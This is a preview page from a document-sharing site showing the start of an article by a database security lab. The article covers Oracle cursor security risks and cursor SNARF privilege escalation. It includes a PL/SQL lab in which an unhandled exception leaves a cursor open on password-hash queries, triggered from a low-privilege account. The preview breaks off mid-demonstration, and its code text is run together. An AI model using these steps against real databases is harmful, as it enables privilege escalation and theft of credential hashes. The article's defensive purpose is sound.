oracle数据库游标中的安全隐患及防护建议

oracle数据库游标中的安全隐患及防护建议

ID:34725110

大小:166.48 KB

页数:9页

时间:2019-03-10

oracle数据库游标中的安全隐患及防护建议_第1页
oracle数据库游标中的安全隐患及防护建议_第2页
oracle数据库游标中的安全隐患及防护建议_第3页
oracle数据库游标中的安全隐患及防护建议_第4页
oracle数据库游标中的安全隐患及防护建议_第5页
资源描述:

《oracle数据库游标中的安全隐患及防护建议》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、Oracle数据库游标中的安全隐患及防护建议一.引言SQL是面向集合的语言,其结果一般是集合量(含多条记录),而pl/sql的变量是标量,一组变量一次只能存放一条记录。很多时候查询结果的记录数是不确定的,无法提前声明足够的变量。于是引入了游标的概念,游标使得数据库操作更灵活,但同时也给黑客入侵数据库带来了机会。安华金和数据库安全实验室(DBSecLabs)基于游标的应用原理,本文讨论游标可能带来什么安全隐患以及如何应对这些安全隐患。二.游标的分类oracle数据库游标是Pl/sql执行DQL、DML等语

2、句的时候,oracle在内存中为其结果集分配一个缓冲区。游标是指向该区的一个指针、命名一个工作区或是一种结构化数据类型。它为应用程序提供了一种对结果集中每一行数据单独处理的方法。oracle游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)。-9-©2016www.dbsec.cn游标的核心功能在于,从表中检索出结果集,每次指向一条记录,与客户端或应用程序进行交互,因此游标是设计嵌入式SQL语句的应用程序的常用编程方式。随着游标的广泛使用,其本身的安全隐患也变得越来越突出。一.游标

3、带来的安全隐患oracle游标给数据库带来的安全隐患主要分为三大类:1.1缺乏异常处理,挂起的游标被恶意利用游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的。这就是游标SNARF提权的基础。游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异

4、常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。下面试验用例由安华金和数据库安全实验室提供:SQL>connect/assysdba已连接。SQL>CREATEORREPLACEPROCEDUREschina_test(P_USERVARCHAR)IS2CURSOR_NAMEINTEGER;3PASSWORDVARCHAR2(30);4IINTEGER;5BEGIN6CURSOR_

5、NAME:=DBMS_SQL.OPEN_CURSOR;7DBMS_OUTPUT.PUT_LINE('CURSOR:'

6、

7、CURSOR_NAME);8DBMS_SQL.PARSE(CURSOR_NAME,'SELECTPASSWORDFROM9SYS.DBA_USERSWHEREUSERNAME=:schina',dbms_sql.native);-9-©2016www.dbsec.cn10DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);11DBMS

8、_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);12I:=DBMS_SQL.EXECUTE(CURSOR_NAME);13IFPASSWORD='01234567890ABCDEF'THEN14DBMS_OUTPUT.PUT_LINE('YOURPASSWORDHASHISNOTOK');15ELSE16DBMS_OUTPUT.PUT_LINE('YOURPASSWORDHASHISOK');17ENDIF;18DBMS_SQL.CLOSE_CURSOR(CU

9、RSOR_NAME);19END;20/PL/SQL过程已成功完成。SQL>grantexecuteonschina_testtopublic;授权成功。schina_test是一个缺乏异常处理代码的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定HASH值进行比较并返回结果。open_cursor打开游标直到close_cursor或SQL会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。SQL>connectscott/tiger已连接。S

10、QL>setserveroutputonSQL>declare2xvarchar(40000);3iinteger;4begin5froiin1..10000loop6x:='b'

11、

12、x;7endloop;8sys.schina_test(x);9end;-9-©2016www.dbsec.cn10/CURSOR3241423通过向p_user中输入一个过长的x,系统返回ORA-01460错误。由于存储过程schina_test中没有对异常

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。